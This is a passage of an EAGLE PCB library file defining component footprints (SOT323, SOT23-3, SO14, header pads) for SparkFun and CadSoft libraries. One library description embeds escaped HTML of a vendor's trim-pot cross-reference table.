x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"0.4064\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.4064\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun-DiscreteSemi\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find discrete semiconductors- transistors, diodes, TRIACs, optoisolators, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"SOT323\">\n<wire x1=\"1.1224\" y1=\"0.6604\" x2=\"1.1224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.1224\" y1=\"-0.6604\" x2=\"-1.1224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.1224\" y1=\"-0.6604\" x2=\"-1.1224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.1224\" y1=\"0.6604\" x2=\"1.1224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0.7\" x2=\"-1.1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"0.7\" x2=\"-1.1\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"0.7\" x2=\"1.1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.1\" y1=\"0.7\" x2=\"1.1\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"-0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"-0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<smd name=\"3\" x=\"0\" y=\"0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<text x=\"-1.1255\" y=\"1.878\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.116\" y=\"1.3095\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun 26-2-11\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"1X02_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.651\" y1=\"0\" x2=\"0.889\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.9906\" x2=\"-0.9906\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.9906\" x2=\"-0.9906\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.556\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.9906\" x2=\"3.5306\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.9906\" x2=\"3.5306\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"SOT23-3\">\n<wire x1=\"1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0.7\" x2=\"-1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.4\" y1=\"0.7\" x2=\"-1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"0.7\" x2=\"1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.4\" y1=\"0.7\" x2=\"1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"3\" x=\"0\" y=\"1.1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.8255\" y=\"1.778\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-0.1905\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n</library>\n<library name=\"linear\">\n<description>&lt;b&gt;Linear Devices&lt;/b&gt;&lt;p&gt;\nOperational amplifiers,  comparators, voltage regulators, ADCs, DACs, etc.&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"SO14\">\n<description>&lt;b&gt;Small Outline Package 14&lt;/b&gt;</description>\n<wire x1=\"4.305\" y1=\"-1.9\" x2=\"-4.305\" y2=\"-1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"-1.9\" x2=\"-4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"-1.4\" x2=\"-4.305\" y2=\"1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"-1.4\" x2=\"-4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"1.9\" x2=\"4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"-1.4\" x2=\"4.305\" y2=\"-1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"1.9\" x2=\"4.305\" y2=\"1.9\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"2\" x=\"-2.54\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"13\" x=\"-2.54\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"1\" x=\"-3.81\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"3\" x=\"-1.27\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"4\" x=\"0\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"14\" x=\"-3.81\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"12\" x=\"-1.27\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"11\" x=\"0\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"6\" x=\"2.54\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"9\" x=\"2.54\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"5\" x=\"1.27\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"7\" x=\"3.81\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"10\" x=\"1.27\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"8\" x=\"3.81\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"-4.572\" y=\"-1.905\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.842\" y=\"-1.905\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-4.055\" y1=\"-3.1\" x2=\"-3.565\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-2.785\" y1=\"-3.1\" x2=\"-2.295\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-1.515\" y1=\"-3.1\" x2=\"-1.025\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-0.245\" y1=\"-3.1\" x2=\"0.245\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-0.245\" y1=\"2\" x2=\"0.245\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-1.515\" y1=\"2\" x2=\"-1.025\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-2.785\" y1=\"2\" x2=\"-2.295\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-4.055\" y1=\"2\" x2=\"-3.565\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"1.025\" y1=\"-3.1\" x2=\"1.515\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"2.295\" y1=\"-3.1\" x2=\"2.785\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"3.565\" y1=\"-3.1\" x2=\"4.055\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"3.565\" y1=\"2\" x2=\"4.055\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"2.295\" y1=\"2\" x2=\"2.785\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"1.025\" y1=\"2\" x2=\"1.515\" y2=\"3.1\" layer=\"51\"/>\n</package>\n</packages>\n</library>\n<library name=\"resistor\">\n<description>&lt;b&gt;Resistors, Capacitors, Inductors&lt;/b&gt;&lt;p&gt;\nBased on the previous libraries:\n&lt;ul&gt;\n&lt;li&gt;r.lbr\n&lt;li&gt;cap.lbr \n&lt;li&gt;cap-fe.lbr\n&lt;li&gt;captant.lbr\n&lt;li&gt;polcap.lbr\n&lt;li&gt;ipc-smd.lbr\n&lt;/ul&gt;\nAll SMD packages are defined according to the IPC specifications and  CECC&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;&lt;p&gt;\n&lt;p&gt;\nfor Electrolyt Capacitors see also :&lt;p&gt;\nwww.bccomponents.com &lt;p&gt;\nwww.panasonic.com&lt;p&gt;\nwww.kemet.com&lt;p&gt;\n&lt;p&gt;\nfor trimmer refence see : &lt;u&gt;www.electrospec-inc.com/cross_references/trimpotcrossref.asp&lt;/u&gt;&lt;p&gt;\n\n&lt;map name=\"nav_main\"&gt;\n&lt;area shape=\"rect\" coords=\"0,1,140,23\" href=\"../military_specs.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,24,140,51\" href=\"../about.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,52,140,77\" href=\"../rfq.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,78,139,103\" href=\"../products.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,102,138,128\" href=\"../excess_inventory.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,129,138,150\" href=\"../edge.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,151,139,178\" href=\"../industry_links.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,179,139,201\" href=\"../comments.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,203,138,231\" href=\"../directory.asp\" title=\"\"&gt;\n&lt;area shape=\"default\" nohref&gt;\n&lt;/map&gt;\n\n&lt;html&gt;\n\n&lt;title&gt;&lt;/title&gt;\n\n &lt;LINK REL=\"StyleSheet\" TYPE=\"text/css\" HREF=\"style-sheet.css\"&gt;\n\n&lt;body bgcolor=\"#ffffff\" text=\"#000000\" marginwidth=\"0\" marginheight=\"0\" topmargin=\"0\" leftmargin=\"0\"&gt;\n&lt;table border=0 cellspacing=0 cellpadding=0 width=\"100%\" cellpaddding=0 height=\"55%\"&gt;\n&lt;tr valign=\"top\"&gt;\n\n&lt;/td&gt;\n&lt;! &lt;td width=\"10\"&gt;&amp;nbsp;&lt;/td&gt;\n&lt;td width=\"90%\"&gt;\n\n&lt;b&gt;&lt;font color=\"#0000FF\" size=\"4\"&gt;TRIM-POT CROSS REFERENCE&lt;/font&gt;&lt;/b&gt;\n&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;RECTANGULAR MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BOURNS&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BI&amp;nbsp;TECH&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;DALE-VISHAY&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PHILIPS/MEPCO&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MURATA&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PANASONIC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;SPECTROL&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MILSPEC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3 &gt;\n      3005P&lt;BR&gt;\n      3006P&lt;BR&gt;\n      3006W&lt;BR&gt;\n      3006Y&lt;BR&gt;\n      3009P&lt;BR&gt;\n      3009W&lt;BR&gt;\n      3009Y&lt;BR&gt;\n      3057J&lt;BR&gt;\n      3057L&lt;BR&gt;\n      3057P&lt;BR&gt;\n      3057Y&lt;BR&gt;\n      3059J&lt;BR&gt;\n      3059L&lt;BR&gt;\n      3059P&lt;BR&gt;\n      3059Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      89P&lt;BR&gt;\n      89W&lt;BR&gt;\n      89X&lt;BR&gt;\n      89PH&lt;BR&gt;\n      76P&lt;BR&gt;\n      89XH&lt;BR&gt;\n      78SLT&lt;BR&gt;\n      78L&amp;nbsp;ALT&lt;BR&gt;\n      56P&amp;nbsp;ALT&lt;BR&gt;\n      78P&amp;nbsp;ALT&lt;BR&gt;\n      T8S&lt;BR&gt;\n      78L&lt;BR&gt;\n      56P&lt;BR&gt;\n      78P&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      T18/784&lt;BR&gt;\n      783&lt;BR&gt;\n      781&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2199&lt;BR&gt;\n      1697/1897&lt;BR&gt;\n      1680/1880&lt;BR&gt;\n      2187&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      8035EKP/CT20/RJ-20P&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ-20X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      1211L&lt;BR&gt;\n      8012EKQ&amp;nbsp;ALT&lt;BR&gt;\n      8012EKR&amp;nbsp;ALT&lt;BR&gt;\n      1211P&lt;BR&gt;\n      8012EKJ&lt;BR&gt;\n      8012EKL&lt;BR&gt;\n      8012EKQ&lt;BR&gt;\n      8012EKR&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      2101P&lt;BR&gt;\n      2101W&lt;BR&gt;\n      2101Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2102L&lt;BR&gt;\n      2102S&lt;BR&gt;\n      2102Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVMCOG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      43P&lt;BR&gt;\n      43W&lt;BR&gt;\n      43Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      40L&lt;BR&gt;\n      40P&lt;BR&gt;\n      40Y&lt;BR&gt;\n      70Y-T602&lt;BR&gt;\n      70L&lt;BR&gt;\n      70P&lt;BR&gt;\n      70Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SQUARE MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n   &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3250L&lt;BR&gt;\n      3250P&lt;BR&gt;\n      3250W&lt;BR&gt;\n      3250X&lt;BR&gt;\n      3252P&lt;BR&gt;\n      3252W&lt;BR&gt;\n      3252X&lt;BR&gt;\n      3260P&lt;BR&gt;\n      3260W&lt;BR&gt;\n      3260X&lt;BR&gt;\n      3262P&lt;BR&gt;\n      3262W&lt;BR&gt;\n      3262X&lt;BR&gt;\n      3266P&lt;BR&gt;\n      3266W&lt;BR&gt;\n      3266X&lt;BR&gt;\n      3290H&lt;BR&gt;\n      3290P&lt;BR&gt;\n      3290W&lt;BR&gt;\n      3292P&lt;BR&gt;\n      3292W&lt;BR&gt;\n      3292X&lt;BR&gt;\n      3296P&lt;BR&gt;\n      3296W&lt;BR&gt;\n      3296X&lt;BR&gt;\n      3296Y&lt;BR&gt;\n      3296Z&lt;BR&gt;\n      3299P&lt;BR&gt;\n      3299W&lt;BR&gt;\n      3299X&lt;BR&gt;\n      3299Y&lt;BR&gt;\n      3299Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&amp;nbsp;ALT&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      64X&amp;nbsp;ALT&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66P&lt;BR&gt;\n      66W&lt;BR&gt;\n      66X&lt;BR&gt;\n      67P&lt;BR&gt;\n      67W&lt;BR&gt;\n      67X&lt;BR&gt;\n      67Y&lt;BR&gt;\n      67Z&lt;BR&gt;\n      68P&lt;BR&gt;\n      68W&lt;BR&gt;\n      68X&lt;BR&gt;\n      67Y&amp;nbsp;ALT&lt;BR&gt;\n      67Z&amp;nbsp;ALT&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      5050&lt;BR&gt;\n      5091&lt;BR&gt;\n      5080&lt;BR&gt;\n      5087&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T63YB&lt;BR&gt;\n      T63XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      5887&lt;BR&gt;\n      5891&lt;BR&gt;\n      5880&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T93Z&lt;BR&gt;\n      T93YA&lt;BR&gt;\n      T93XA&lt;BR&gt;\n      T93YB&lt;BR&gt;\n      T93XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      